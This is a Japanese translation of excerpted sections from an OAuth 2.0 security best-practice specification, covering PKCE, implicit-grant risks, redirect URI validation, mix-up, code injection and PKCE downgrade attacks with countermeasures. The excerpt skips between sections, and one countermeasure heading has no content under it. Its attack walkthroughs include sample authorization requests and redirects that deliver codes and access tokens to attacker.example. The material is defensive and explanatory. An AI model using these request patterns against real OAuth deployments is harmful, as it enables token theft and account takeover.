2.1.1. 認可 コードグラント

クライアントは、次のいずれかの選択肢を用いて、認可コード インジェクション攻撃（Section 4.5を参照）および認可コードの悪用を防止 MUSTである。¶

• パブリッククライアントは、この目的のために PKCE [RFC7636]を使用 MUSTである。これは Section 4.5.3.1で動機付けられている。¶
• コンフィデンシャルクライアントについては、PKCE [RFC7636]の使用が RECOMMENDEDである。これは、 Section 4.5.3.1で説明されるように、認可 コードの悪用および注入に対する強力な保護を提供するためである。また副次的効果として、 Section 4.7.1で説明される 強力な攻撃者が存在する場合でもCSRFを防止する。¶
• Section 4.5.3.2で説明される追加の予防措置を講じたうえで、 コンフィデンシャルOpenID Connect [OpenID.Core]クライアントは、代わりに nonceパラメーターおよびID Token内の対応するClaimを使用 MAYできる。¶

いずれの場合も、PKCEチャレンジまたはOpenID Connect nonceは、 トランザクション固有であり、 そのトランザクションが開始されたクライアントおよびユーザーエージェントに安全に結び付けられて MUSTいる。 認可サーバーは、PKCEチャレンジまたはOpenID Connect nonceに定数値が使用されることを検出し、防止するために合理的な努力を行うことが推奨される。¶

注: PKCEはネイティブ アプリを保護する仕組みとして設計されたが、この助言はWeb アプリケーションを含むあらゆる種類のOAuthクライアントに適用される。¶

PKCEを使用する場合、クライアントは、 認可リクエスト内でPKCE verifierを露出しないPKCE code challenge methodを使用 SHOULDである。 そうでない場合、認可リクエストを読み取ることができる攻撃者（Section 3のAttacker (A4)を参照）は、PKCEによって提供されるセキュリティを破ることができる。 現在、S256が唯一のそのような方法である。¶

認可サーバーはPKCE [RFC7636]をサポート MUSTである。¶

クライアントが認可リクエスト内で有効なPKCE code_challengeパラメーターを送信した場合、認可サーバーは、 トークンエンドポイントでのcode_verifierの正しい使用を強制 MUSTである。¶

認可サーバーは、 code_verifierパラメーターを含むトークンリクエストが、 認可リクエスト内にcode_challengeパラメーターが存在していた場合にのみ 受け入れられることを保証することで、PKCEダウングレード攻撃を緩和 MUSTである。詳細については Section 4.8.2 を参照。¶

認可サーバーは、 PKCEのサポートを検出する方法を提供 MUSTである。認可サーバーは、 Authorization Server Metadata [RFC8414]内に、 サポートされるPKCEチャレンジ方式を含む code_challenge_methods_supported要素（クライアントがPKCEサポートを検出するために使用できる）を 公開することが RECOMMENDEDである。認可サーバーは、代わりに、 認可サーバーによるPKCEサポートを保証または判定するためのデプロイメント固有の方法を提供 MAYできる。¶

2.1.2. インプリシットグラント

インプリシットグラント（レスポンスタイプtoken）および、 認可サーバーが認可レスポンス内でアクセストークンを発行することを引き起こす その他のレスポンスタイプは、 Sections 4.1、 4.2、4.3、および 4.6で説明されるように、 アクセストークン漏えいおよび アクセストークンリプレイに対して脆弱である。¶

さらに、アクセストークンが 認可レスポンス内で発行される場合、（Section 2.2で 推奨されるように）アクセストークンを特定のクライアントに結び付けるための 送信者制約を行う標準化された方法は存在しない。 これは、攻撃者が漏えいまたは盗難されたアクセストークンをリソースエンドポイントで使用できることを意味する。¶

これらの問題を避けるため、クライアントは、 認可レスポンス内でのアクセストークン注入が防止され、前述のトークン漏えい ベクトルが緩和されていない限り、インプリシット グラント（レスポンスタイプtoken）または認可レスポンス内で アクセストークンを発行するその他のレスポンスタイプを使用すべきでは SHOULD NOTない。¶

クライアントは代わりに、 Section 2.1.1で規定されるレスポンス タイプcode（すなわち、認可 コードグラントタイプ）、またはcode id_tokenレスポンスタイプのように 認可サーバーがトークンレスポンス内でアクセストークンを発行することを引き起こす その他のレスポンスタイプを使用 SHOULDである。これにより、 認可サーバーは攻撃者によるリプレイ試行を検出でき、 アクセストークンがURLに露出しないため、一般に攻撃対象領域が削減される。 また、認可サーバーが発行されたトークンに 送信者制約を付けることも可能になる（Section 2.2を参照）。¶

2.2.1. アクセストークン

送信者制約付きアクセストークンは、 アクセス トークンの適用範囲を特定の送信者に限定する。この送信者は、 そのトークンが受信者（たとえばリソースサーバー）で受け入れられる前提条件として、 特定の秘密を知っていることを示す義務を負う。¶

認可サーバーおよびリソースサーバーは、 盗まれた、または漏えいしたアクセストークンの悪用を防止するために、 OAuth 2.0の相互TLS [RFC8705]またはOAuth 2.0 Demonstrating Proof of Possession (DPoP) [RFC9449]（Section 4.10.1を参照） など、アクセストークンに送信者制約を付ける仕組みを使用 SHOULDである。¶

2.2.2. リフレッシュトークン

パブリッククライアント向けのリフレッシュトークンは、 送信者制約付きであるか、Section 4.14で説明されるリフレッシュ トークンローテーションを使用 MUSTである。[RFC6749]はすでに、 コンフィデンシャルクライアント向けのリフレッシュトークンは、それが発行された クライアントによってのみ使用できることを義務付けている。¶

4.1.1. 認可コードグラントに対する リダイレクトURI検証攻撃

グラントタイプcodeを使用するクライアントに対しては、 攻撃は次のように機能する可能性がある。¶

リダイレクトURLパターン https://*.somesite.example/*が、クライアントID s6BhdRkqt3を持つクライアントに登録されていると仮定する。 その意図は、somesite.exampleの任意のサブドメインを、 たとえばhttps://app1.somesite.example/redirectのように、 そのクライアントの有効なリダイレクトURIとして許可することである。 しかし、認可サーバー上の素朴な実装は、ワイルドカード*を 「ドメイン名として有効な任意の文字」ではなく「任意の文字」と解釈する可能性がある。 したがって、認可サーバーは、attacker.exampleが悪意ある当事者によって 制御される可能性のある異なるドメインであるにもかかわらず、 https://attacker.example/.somesite.exampleをリダイレクトURIとして 許可してしまう可能性がある。¶

攻撃は次のように実行できる。¶

まず、攻撃者は、攻撃者の制御下にあるページ、 たとえばhttps://www.evil.exampleを起動する改ざんされたURLを ユーザーがブラウザーで開くようにだます必要がある（Section 3の攻撃者A1を参照）。¶

このURLは、正当なクライアントのクライアントIDを用いて、 認可エンドポイントに対する次の認可リクエストを開始する（改行は表示のためのみ）。¶

GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=9ad67f13
     &redirect_uri=https%3A%2F%2Fattacker.example%2F.somesite.example
     HTTP/1.1
Host: server.somesite.example

認可サーバーはリダイレクトURIを検証し、 クライアントs6BhdRkqt3に登録されたリダイレクトURLパターンと比較する。 認可リクエストは処理され、ユーザーに提示される。¶

ユーザーがリダイレクトURIを見ない、または攻撃を認識しない場合、 コードが発行され、直ちに攻撃者のドメインへ送信される。 認可の自動承認が有効になっている場合（これは[RFC6749]によればパブリッククライアントには推奨されない）、 この攻撃はユーザー操作なしでも実行できる。¶

攻撃者がパブリッククライアントになりすます場合、 攻撃者は対応するトークンエンドポイントでコードをトークンと交換できる。¶

この攻撃は、コード交換に正当なクライアントの秘密による認証が 必要であるため、コンフィデンシャルクライアントに対してはそれほど容易には機能しない。 しかし、攻撃者は、認可コードインジェクション攻撃を実行することで、 正当なコンフィデンシャルクライアントにコードを引き換えさせることができる。 Section 4.5を参照。¶

認可サーバーがワイルドカードを適切に処理している場合でも、 リダイレクトURI検証の脆弱性が存在し得る点に注意することが重要である。 たとえば、クライアントがリダイレクトURLパターン https://*.somesite.example/*を登録し、認可サーバーがこれを 「ドメインsomesite.example内に存在する任意のホストを指すリダイレクトURIを許可する」 と解釈すると仮定する。攻撃者がsomesite.example内にホストまたは サブドメインを確立できた場合、攻撃者は正当なクライアントになりすますことができる。 たとえば、これはサブドメイン乗っ取り攻撃[research.udel]によって引き起こされ得る。 その場合、古いCNAMEレコード（たとえばexternal-service.somesite.example）が、 もはや存在しない外部DNS名（たとえばcustomer-abc.service.example）を指しており、 攻撃者が（たとえば外部サービスにcustomer-abcとして登録することで） それを乗っ取れる可能性がある。¶

4.1.2. インプリシットグラントに対する リダイレクトURI検証攻撃

上記の攻撃はインプリシットグラントでも機能する。 攻撃者が認可レスポンスを攻撃者の制御するURIへ送信できる場合、 攻撃者はアクセストークンを含むフラグメントに直接アクセスできる。¶

さらに、インプリシットグラント（および[OAuth.Responses]で定義される response_mode=fragmentを使用する場合の他のグラント）には、 さらに別の種類の攻撃が生じる可能性がある。この攻撃は、 Locationヘッダーにフラグメントが含まれていない場合、ユーザーエージェントが リダイレクト先URLへフラグメントを再付加するという事実を利用する （Section 17.11 of [RFC9110]を参照）。ここで説明する攻撃は、 アクセストークンを取得するために、この挙動とオープンリダイレクターとしての クライアント（Section 4.11.1を参照）を組み合わせる。これにより、非常に狭いリダイレクトURIパターンでさえ 回避できるが、厳密なURL照合は回避できない。¶

クライアントs6BhdRkqt3に登録されたURLパターンが https://client.somesite.example/cb?*である、すなわち https://client.somesite.example/cbへのリダイレクトについて任意の パラメーターが許可されていると仮定する。残念ながら、クライアントはオープンリダイレクターを公開している。 このエンドポイントは、ターゲットURLを受け取り、HTTP Locationヘッダーによる303リダイレクトを使って ブラウザーをそのURLへ送信するredirect_toパラメーターをサポートしている。¶

攻撃は次のように実行できる。¶

まず、上記と同様に、攻撃者は、攻撃者の制御下にあるページ、 たとえばhttps://www.evil.exampleを起動する改ざんされたURLを ユーザーがブラウザーで開くようにだます必要がある。¶

その後、Webサイトはコードフローに対する攻撃のものと非常によく似た 認可リクエストを開始する。上記と異なり、 redirect_to=https://attacker.exampleをリダイレクトURIのパラメーターに エンコードすることでオープンリダイレクターを利用し、レスポンスタイプtokenを使用する （改行は表示のためのみ）。¶

GET /authorize?response_type=token&state=9ad67f13
    &client_id=s6BhdRkqt3
    &redirect_uri=https%3A%2F%2Fclient.somesite.example
     %2Fcb%26redirect_to%253Dhttps%253A%252F
     %252Fattacker.example%252F HTTP/1.1
Host: server.somesite.example

すると、リダイレクトURIが登録済みパターンと一致するため、 認可サーバーはリクエストを許可し、結果のアクセストークンを303リダイレクトで送信する （一部のレスポンスパラメーターは読みやすさのため省略）。¶

HTTP/1.1 303 See Other
Location: https://client.somesite.example/cb?
          redirect_to%3Dhttps%3A%2F%2Fattacker.example%2Fcb
          #access_token=2YotnFZFEjr1zCsicMWpAA&...

client.somesite.exampleでは、リクエストはオープンリダイレクターに到達する。 エンドポイントはredirectパラメーターを読み取り、URL https://attacker.example/へのHTTP 303 Locationヘッダーリダイレクトを発行する。¶

HTTP/1.1 303 See Other
Location: https://attacker.example/

client.somesite.exampleのリダイレクターは Locationヘッダーにフラグメントを含めないため、ユーザーエージェントは元のフラグメント #access_token=2YotnFZFEjr1zCsicMWpAA&...をURLへ再付加し、 次のURLへ移動する。¶

https://attacker.example/#access_token=2YotnFZFEjr1z...

その後、attacker.exampleの攻撃者のページは フラグメントにアクセスし、アクセストークンを取得できる。¶

4.1.3. 対策

パターン照合を正しく実装および管理する複雑さは、 明らかにセキュリティ問題を引き起こす。したがって、本文書は、 厳密なリダイレクトURI照合を使用することで、必要なロジックおよび設定を 単純化することを助言する。これは、認可サーバーが2つのURIが等しいことを保証 MUSTしなければならないことを意味する。 詳細については、Section 6.2.1 of [RFC3986]のSimple String Comparisonを参照。 唯一の例外は、localhost URIを使用するネイティブアプリである。この場合、 認可サーバーはSection 7.3 of [RFC8252]で説明されるように、 可変ポート番号を許可 MUSTしなければならない。¶

追加の推奨事項。¶

• リダイレクトURIがホストされるWebサーバーは、 オープンリダイレクターを公開しては MUST NOTならない（Section 4.11を参照）。¶
• ブラウザーは、Locationヘッダー内のURLが すでにフラグメントを含んでいない場合に限り、URLフラグメントをLocationリダイレクトURLへ 再付加する。したがって、サーバーは、Locationヘッダー内のURLへ任意のフラグメント識別子、 たとえば#_を付加することで、ブラウザーがフラグメントを リダイレクトURLへ再付加することを防止 MAYできる。¶
• クライアントは、認可エンドポイントで アクセストークン発行を引き起こすレスポンスタイプではなく、認可コードレスポンスタイプを使用 SHOULDする。これにより、認可サーバーとの交換プロセスを通じた 漏えいクレデンシャルの再利用に対する対策、およびアクセストークンの 送信者制約によるトークンリプレイに対する対策が提供される。¶

リダイレクトURIを含む認可リクエストの起源および完全性を検証できる場合、 たとえばクライアント認証とともに [RFC9101]または[RFC9126]を使用する場合、 認可サーバーは追加の検査なしにリダイレクトURIを信頼 MAYできる。¶

4.2.1. OAuthクライアントからの 漏えい

OAuthクライアントからの漏えいは、成功した認可リクエストの結果として、 クライアントが次のようなページをレンダリングすることを必要とする。¶

• 攻撃者の制御下にある他のページへのリンクを含み、 ユーザーがそのようなリンクをクリックする、または¶
• サードパーティコンテンツ （iframe内の広告、画像など）を含む。たとえば、そのページに ユーザー生成コンテンツ（ブログ）が含まれる場合である。¶

ブラウザーが攻撃者のページへ移動する、またはサードパーティコンテンツを読み込むとすぐに、 攻撃者は認可レスポンスURLを受け取り、codeまたはstate （場合によってはaccess_token）を抽出できる。¶

4.2.2. 認可サーバーからの 漏えい

同様の方法で、認可サーバーの認可エンドポイントに 上記のようなリンクまたはサードパーティコンテンツが含まれる場合、 攻撃者は認可リクエストからstateを知ることができる。¶

4.2.3. 影響

Refererヘッダーを通じて有効なコードまたはアクセストークンを知った攻撃者は、 Sections 4.1.1、 4.5、および 4.6で説明される攻撃を実行できる。 攻撃者がstateを知った場合、stateを使用して得られるCSRF保護は失われ、 Section 4.4.1.8 of [RFC6819]で説明される CSRF攻撃につながる。¶

4.2.4. 対策

OAuth認可レスポンスの結果としてレンダリングされるページおよび 認可エンドポイントは、サードパーティリソースまたは外部サイトへのリンクを含めるべきでは SHOULD NOTない。¶

次の対策は、攻撃が成功する可能性をさらに低減する。¶

• 適切なReferrer Policy [W3C.webappsec-referrer-policy]を文書に適用する （"referrer" meta属性の一部として、またはReferrer-Policyヘッダーを設定することで） ことにより、Refererヘッダーを抑止する。たとえば、レスポンス内のヘッダー Referrer-Policy: no-referrerは、結果の文書から発生するすべてのリクエストにおいて Refererヘッダーを完全に抑止する。¶
• 認可エンドポイントから アクセストークン発行を引き起こすレスポンスタイプではなく、認可コードを使用する。¶
• 認可コードをコンフィデンシャルクライアントまたは PKCEチャレンジに結び付ける。この場合、攻撃者はコード交換を要求するための秘密を持たない。¶

• Section 4.1.2 of [RFC6749]で説明されるように、 認可コードはトークンエンドポイントで最初に使用された後、認可サーバーによって無効化され MUSTる。たとえば、認可サーバーが正当なクライアントによる引き換え後に コードを無効化した場合、攻撃者は後でこのコードを交換できない。¶

  これは、攻撃者が正当なクライアントより先に コードをトークンと交換できた場合には攻撃を緩和しない。したがって、 [RFC6749]はさらに、 コードを二度引き換えようとする試みが行われた場合、認可サーバーは そのコードに基づいて以前に発行されたすべてのトークンを失効 SHOULDさせることを推奨している。¶

• state値は、リダイレクトエンドポイントで 最初に使用された後にクライアントによって無効化される SHOULDである。これが実装されており、 攻撃者がクライアントのWebサイトからRefererヘッダーを通じてトークンを受け取った場合、 stateはすでに使用済みで、クライアントによって無効化されており、 攻撃者が再び使用することはできない。（これは、stateが 認可サーバーのWebサイトから漏れた場合には役に立たない。その場合、stateはまだ クライアントのリダイレクトエンドポイントで使用されていないためである。）¶

• 認可レスポンスには、リダイレクトの代わりに form postレスポンスモードを使用する（[OAuth.Post]を参照）。¶

4.3.1. ブラウザー履歴内の 認可コード

プロバイダーの認可エンドポイントからのリダイレクトの結果として、 ブラウザーがclient.example/redirection_endpoint?code=abcdへ移動する場合、 認可コードを含むURLがブラウザー履歴に残る可能性がある。 デバイスへアクセスできる攻撃者は、コードを取得しリプレイを試みることができる。¶

対策。¶

• Section 4.4.1.1 of [RFC6819]およびSection 4.5で説明される認可コードリプレイ防止。¶
• 認可レスポンスには、リダイレクトの代わりに form postレスポンスモードを使用する（[OAuth.Post]を参照）。¶

4.3.2. ブラウザー履歴内の アクセストークン

すでにトークンを持つクライアントまたはWebサイトが、 provider.com/get_user_profile?access_token=abcdefのようなページへ 意図的に移動する場合、アクセストークンがブラウザー履歴に残る可能性がある。 [RFC6750]はこの慣行を推奨せず、 トークンをヘッダー経由で転送するよう助言しているが、実際にはWebサイトが クエリパラメーターでアクセストークンを渡すことがよくある。¶

インプリシットグラントの場合、プロバイダーの 認可エンドポイントからのリダイレクトの結果として、 client.example/redirection_endpoint#access_token=abcdefのようなURLも ブラウザー履歴に残る可能性がある。¶

対策。¶

• クライアントは、Section 2.3 of [RFC6750]で説明される方法で、 URIクエリパラメーターにアクセストークンを渡しては MUST NOTならない。 この目的のために、認可コードグラントまたはform postレスポンスモード [OAuth.Post]のような 代替OAuthレスポンスモードを使用できる。¶

4.4.1. 攻撃の説明

ここでの説明は[arXiv.1601.01229]に従っており、 攻撃の変種を以下に概説する。¶

前提条件: この攻撃の変種が機能するには、次を仮定する。¶

• インプリシットグラントまたは認可コードグラントが 複数の認可サーバーとともに使用され、そのうち1つが「正直な」もの（H-AS）、 もう1つが攻撃者によって運用されるもの（A-AS）であること。および¶
• クライアントが、ユーザーによって選択された認可サーバーを ユーザーのブラウザーに結び付けられたセッションに保存し、 各認可サーバーに同じリダイレクトURIを使用すること。¶

以下ではさらに、クライアントがH-AS （URI: https://honest.as.example、クライアントID: 7ZGZldHQ）およびA-AS（URI: https://attacker.example、クライアントID: 666RVZJTA）に 登録されていると仮定する。以下の例で示すURLは、攻撃に関連するパラメーターのみを含むように 表示のため短縮されている。¶

認可コードグラントに対する攻撃。¶

1. ユーザーは、A-ASを使用してグラントを開始することを選択する （たとえば、クライアントのWebサイト上のボタンをクリックする）。¶
2. クライアントは、ユーザーが「A-AS」を選択したことを ユーザーのセッションに保存し、URL https://attacker.example/authorize?response_type=code&client_id=666RVZJTAを 含むLocationヘッダーで、ユーザーをA-ASの認可エンドポイントへリダイレクトする。¶
3. ユーザーのブラウザーが攻撃者の認可エンドポイントへ移動すると、 攻撃者は直ちにブラウザーをH-ASの認可エンドポイントへリダイレクトする。 認可リクエストにおいて、攻撃者はA-ASにおけるクライアントのクライアントIDを、 H-ASにおけるクライアントのIDへ置き換える。したがって、ブラウザーは、 https://honest.as.example/authorize?response_type=code&client_id=7ZGZldHQを 指すLocationヘッダーを持つリダイレクト（303 See Other）を受け取る。¶

4. ユーザーは、H-ASにおける自身のリソースへ クライアントがアクセスすることを認可する。（注意深いユーザーはこの時点で、 A-ASではなくH-ASを使用していることを意図に反していると検出できる可能性がある。 最初に列挙した攻撃の変種にはこの制限はない。）H-ASはコードを発行し、 （ブラウザー経由で）それをクライアントへ送り返す。¶

5. クライアントは、そのコードがA-ASによって発行されたものと 依然として仮定しているため、A-ASのトークンエンドポイントでコードを引き換えようとする。¶

6. したがって、攻撃者はコードを取得し、 （パブリッククライアントの場合）コードをアクセストークンと交換するか、 Section 4.5で説明される 認可コードインジェクション攻撃を実行できる。¶

変種。¶

• 傍受を伴うMix-Up: この変種は、 攻撃者が、ユーザーのブラウザーからクライアントへの最初のリクエスト/レスポンスペア （ユーザーが特定の認可サーバーを選択し、その後クライアントによってその認可サーバーへ リダイレクトされるもの）を傍受し操作できる場合にのみ機能する。 これは攻撃者(A2) （Section 3を参照）の場合である。 この能力は、たとえば、ユーザーのクライアントへの接続に対する中間者攻撃の結果であり得る。 この攻撃では、ユーザーはH-ASでフローを開始する。攻撃者はこのリクエストを傍受し、 ユーザーの選択をA-ASへ変更する。攻撃の残りは、上記の Step 2以降と同様に進行する。¶
• インプリシットグラント: インプリシットグラントでは、 攻撃者はStep 4でコードの代わりにアクセストークンを受け取る。 クライアントがA-ASのuserinfoエンドポイント（[OpenID.Core]で定義） へリクエストを行うか、攻撃者のリソースサーバーへリクエストを行うと、 攻撃者の認可サーバーはアクセストークンを受け取る （クライアントはA-ASとのフローを完了したと信じているため）。¶
• ASごとのリダイレクトURI: クライアントが 認可サーバーごとに異なるリダイレクトURIを使用し、クライアントが選択された 認可サーバーをユーザーのセッションに保存せず、認可サーバーがリダイレクトURIを 適切に検査しない場合、攻撃者は「Cross Social-Network Request Forgery」と呼ばれる 攻撃を仕掛けることができる。これらの攻撃は実際に観察されている。 詳細については[research.jcs_14]を参照。¶
• OpenID Connect: 一部の変種は OpenID Connectを攻撃するために使用できる。これらの攻撃では、攻撃者は OpenID Connect Discovery [OpenID.Discovery]機構の機能を悪用するか、 アクセストークンまたはID TokenをリプレイしてMix-Up攻撃を実行する。 攻撃は[arXiv.1704.08539]のAppendix Aおよび [arXiv.1508.04324v2]のSection 6 （"Malicious Endpoints Attacks"）で詳細に説明されている。¶

4.4.2. 対策

OAuthクライアントが1つの認可サーバーとしかやり取りできない場合、 Mix-Up防御は必要ない。しかし、OAuthクライアントが2つ以上の認可サーバーとやり取りする シナリオでは、クライアントはMix-Up攻撃を防止 MUSTしなければならない。以下では2つの異なる方法を論じる。¶

両方の防御において、クライアントは認可リクエストごとに、 認可リクエストを送信した発行者を保存し、この情報をユーザーエージェントへ結び付け MUSTなければならない。発行者は、関連するメタデータを通じて、 フローで使用される認可エンドポイントとトークンエンドポイントの組み合わせを示す 抽象識別子として機能する。発行者識別子が利用できない場合（たとえば、 OAuth Authorization Server Metadata [RFC8414]もOpenID Connect Discovery [OpenID.Discovery]も使用されていない場合）、 このタプルの別の一意な識別子またはタプル自体を代わりに使用できる。 表示を簡潔にするため、以下ではそのようなデプロイメント固有の識別子を 発行者（または発行者識別子）に含めて扱う。¶

認可サーバーURLを保存するだけではMix-Up攻撃を識別するには 不十分である点に注意することが重要である。攻撃者は、侵害されていない認可サーバーの 認可エンドポイントURLを「自分の」認可サーバーURLとして宣言しつつ、 自身の制御下にあるトークンエンドポイントを宣言する可能性がある。¶

4.5.1. 攻撃の 説明

認可コードインジェクション攻撃は次のように機能する。¶

1. 攻撃者は認可コードを取得する （Section 3の 攻撃者(A3)を参照）。 攻撃の残りについては、Web攻撃者(A1)の能力だけが必要である。¶
2. 攻撃者のデバイスから、攻撃者は正当なクライアントとの 通常のOAuth認可プロセスを開始する。¶
3. 認可サーバーから正当なクライアントへのレスポンスにおいて、 攻撃者は新しく作成された認可コードを盗まれた認可コードへ置き換える。 このレスポンスは攻撃者のデバイスを通過しているため、攻撃者はこの目的のために 認可レスポンスを傍受および操作できる任意のツールを使用できる。 攻撃者はネットワークを制御する必要はない。¶
4. 正当なクライアントは、redirect_uriおよび クライアントのクライアントIDとクライアントシークレット（または他のクライアント認証手段）とともに、 コードを認可サーバーのトークンエンドポイントへ送信する。¶
5. 認可サーバーは、クライアントシークレット、コードが特定のクライアントへ 発行されたかどうか、および実際のリダイレクトURIがredirect_uriパラメーターと 一致するかどうかを検査する（[RFC6749]を参照）。¶
6. すべての検査が成功し、認可サーバーはアクセストークンおよび その他のトークンをクライアントへ発行する。攻撃者は、正当なクライアントとの自身の セッションを、被害者のリソースおよび/またはアイデンティティに関連付けたことになる。¶

4.5.2. 考察

明らかに、コードが別のクライアントID、 たとえば攻撃者が設定したクライアントに発行されていた場合、チェックインステップ （Step 5）は失敗する。 認可コードが正当なユーザーによってすでに引き換えられ、一回限りの使用であった場合も、 検査は失敗する。¶

認可サーバーが認可リクエストで使用された完全な リダイレクトURIを保存し、それをredirect_uriパラメーターと比較する場合、 操作されたリダイレクトURIを介して取得されたコードを注入しようとする試みも検出されるべきである。¶

Section 4.1.3 of [RFC6749]は、認可サーバーに次を要求している。¶

初期認可リクエストに"redirect_uri"パラメーターが含まれていた場合、 Section 4.1.1で説明されるように "redirect_uri"パラメーターが存在することを保証し、含まれる場合には それらの値が同一であることを保証する。¶

Section 4.5.1で説明した攻撃シナリオでは、 正当なクライアントは、認可リクエストに常に使用する正しいリダイレクトURIを使用する。 しかし、このURIは攻撃者によって使用された改ざん済みリダイレクトURIと一致しない （一致するなら、リダイレクトは攻撃者のページへ到達しないため）。 そのため、認可サーバーは攻撃を検出し、コードの交換を拒否する。¶

この検査は、特定の条件が満たされる場合、 別のデバイス上の同じクライアントの別インスタンスから取得された認可コードを 注入しようとする試みも検出できる。¶

• リダイレクトURI自体がnonceまたは別種の 一回限り使用の秘密データを含むこと。および¶
• クライアントがこのデータを当該クライアントの この特定インスタンスに結び付けていること。¶

しかし、このアプローチは、認可エンドポイントで厳密な リダイレクトURI照合を強制するという考えと衝突する。さらに、 プロバイダーがこの段階でredirect_uri検査要件を無視することが非常に多いことが 観察されている。おそらく、仕様を読む限りそれがセキュリティ上重要であるように 見えないためである。¶

他のプロバイダーは、redirect_uriパラメーターを 登録済みリダイレクトURIパターンと単にパターン照合するだけである。 これにより、認可サーバーは、各トランザクションについて実際のリダイレクトURIと 対応する認可コードとのリンクを保存する必要がなくなる。しかし、この種の検査は、 改ざん済みリダイレクトURIが考慮されないため、仕様の意図を明らかに満たしていない。 したがって、正当なクライアントのclient_idを使用して、または別のデバイス上で 正当なクライアントを利用して取得された認可コードを注入しようとする試みは、 それぞれのデプロイメントで検出されない。¶

Section 4.1.3 of [RFC6749]で定義される要件は、 クライアントがトークンエンドポイント呼び出しのために正しいリダイレクトURIを 保存または再構築する必要があるため、クライアント実装の複雑さを高めるとも想定される。¶

クライアント認証のための非対称方式は、この攻撃を止めない。 正当なクライアントがトークンエンドポイントで認証するためである。¶

したがって、本文書は代わりに、次に説明する機構のいずれかを使用し、 特定のトランザクションの文脈において、各認可コードを特定のデバイス上の （または特定のユーザーエージェント内の）特定のクライアントインスタンスに 結び付けることを推奨する。¶

4.5.3. 対策

認可コードをクライアントインスタンスに結び付けるには、 次の2つの優れた技術的解決策がある。¶

4.5.4. 制限事項

攻撃者が、被害者の認可リクエストで使用されるnonce値または code_challenge値を変更できる場合、上記の対策を回避できる。 攻撃者は、これらの値を、上記攻撃のStep 2で 自身のセッションにおいてクライアントが選んだものと同じ値へ変更できる。 （これは、被害者のクライアントとのセッションが、攻撃者がクライアントとのセッションを 開始した後に始まることを必要とする。）その後、攻撃者が被害者から認可コードを 捕捉できる場合、PKCEまたはnonceが使用されていても、攻撃者は Step 3で盗まれたコードを注入できる。¶

この攻撃は複雑であり、攻撃者と被害者のセッションの間に 密接な相互作用を必要とする。それにもかかわらず、認可レスポンスの内容を 攻撃者が読み取ることを防ぐための対策は、Sections 4.1、4.2、 4.3、4.4、および4.11で説明されるように、なお講じる必要がある。¶

4.6.1. 対策

純粋なOAuthフローでは、このようなインジェクション攻撃を検出する方法はない。 トークンがトランザクションまたは特定のユーザーエージェントへの結び付けなしに 発行されるためである。¶

OpenID Connectでは、認可レスポンスにat_hashクレームを 含むID Tokenが追加で含まれるため、この攻撃を緩和できる。したがって、攻撃者は レスポンス内のアクセストークンとID Tokenの両方を置き換える必要がある。 ID Tokenは認証を伴って署名または暗号化されているため、攻撃者はID Tokenを偽造できない。 また、漏えいしたID Token内のnonceクレームは、認可レスポンスで期待される値とは （非常に高い確率で）異なる値を含むため、攻撃者は盗まれたアクセストークンに一致する 漏えいID Tokenを注入することもできない。¶

攻撃者がアクセストークンをリソースエンドポイントで直接使用することを防ぐには、 送信者制約付きアクセストークンのような追加の保護がなお必要である点に注意すること。¶

Section 2.1.2の推奨事項はこれに由来する。¶

4.7.1. 対策

長く確立された対策は、クライアントが stateパラメーター内にCSRF Tokenとしても知られるランダム値を渡し、 説明されるように、リダイレクトURIへのリクエストをユーザーエージェントセッションへ 関連付けることである。この対策はSection 5.3.5 of [RFC6819]で 詳細に説明されている。同じ保護は、PKCEまたはOpenID Connectのnonce値によって提供される。¶

CSRF保護のためにstateまたはnonceの代わりに PKCEを使用する場合、次の点に注意することが重要である。¶

• クライアントは、CSRF保護のためにPKCEを使用する前に、 認可サーバーがPKCEをサポートしていることを保証 MUSTしなければならない。 認可サーバーがPKCEをサポートしていない場合、CSRF保護にはstateまたは nonceを使用 MUSTしなければならない。¶

• stateがアプリケーション状態を運ぶために使用され、 その内容の完全性が懸念される場合、クライアントはstateを 改ざんおよびすり替えから保護 MUSTしなければならない。 これは、stateの内容をブラウザーセッションに結び付けること、および/または state値に署名/暗号化することで達成できる。この一例は、期限切れのInternet-Draft [JWT-ENCODED-STATE]で論じられている。¶

したがって、認可サーバーはPKCEサポートを検出する方法を提供 MUSTしなければならない。 [RFC8414]に従って Authorization Server Metadataを使用することが RECOMMENDEDであるが、認可サーバーは代わりに、 PKCEサポートを保証または判定するデプロイメント固有の方法を提供 MAYできる。¶

PKCEは、認可レスポンスを読み取ることができる攻撃者 （Section 3の 攻撃者(A3)を参照）が存在する場合でも、 CSRF攻撃に対する堅牢な保護を提供する。stateが使用される場合、またはID Tokenが 認可レスポンスで返される場合（たとえばresponse_type=code+id_token）、 攻撃者はstate値を知って偽造された認可レスポンスにそれをリプレイできるか、 ID Tokenからnonceを抽出し、それを新しいリクエストで認可サーバーへ使用して 同じnonceを持つID Tokenを生成できる。その新しいID Tokenは、その後CSRF攻撃に使用できる。¶

4.8.1. 攻撃の 説明

1. ユーザーは、認可サーバーで何らかのクライアントを使用して OAuthセッションを開始している。認可リクエストにおいて、クライアントは PKCE code challengeとしてcode_challenge=hash(abc)パラメーターを設定している （ハッシュ関数およびパラメーターエンコーディングは[RFC7636]で定義されるとおり）。 クライアントは現在、ユーザーのブラウザーから認可レスポンスを受信するのを待っている。¶
2. 攻撃を実行するために、攻撃者は自身のデバイスを使用して 対象クライアントとの認可フローを開始する。クライアントは今度は別の PKCE code challenge、たとえばcode_challenge=hash(xyz)を認可 リクエストで使用する。攻撃者はそのリクエストを傍受し、 code_challengeパラメーター全体をリクエストから削除する。 このステップは攻撃者のデバイス上で実行されるため、攻撃者は たとえばブラウザーデバッグツールを使用して、リクエスト内容へ完全にアクセスできる。¶
3. 認可サーバーがPKCEなしのフローを許可する場合、 PKCE code challengeに結び付けられていないコードを作成する。¶
4. 攻撃者はここで、認可サーバーとの攻撃者のセッション用のコードを 含む認可レスポンスURLへユーザーのブラウザーをリダイレクトする。¶
5. ユーザーのブラウザーは認可コードをクライアントへ送信し、 クライアントは認可サーバーでコードをアクセストークンと交換しようとする。 クライアントはトークンリクエスト内でPKCE code verifierとして code_verifier=abcを送信する。¶
6. 認可サーバーは、このコードがいかなるPKCE code challengeにも結び付けられていないことを確認するため、 code_verifierパラメーターの存在または内容を検査しない。 認可サーバーは、攻撃者のリソースに属するアクセストークンを、ユーザーの制御下にある クライアントへ発行する。¶

4.8.2. 対策

stateを適切に使用すれば、この攻撃を防止できる。 しかし、実務上、多くのOAuthクライアントがstateを使用していない、 または適切に検査していないことが示されている。¶

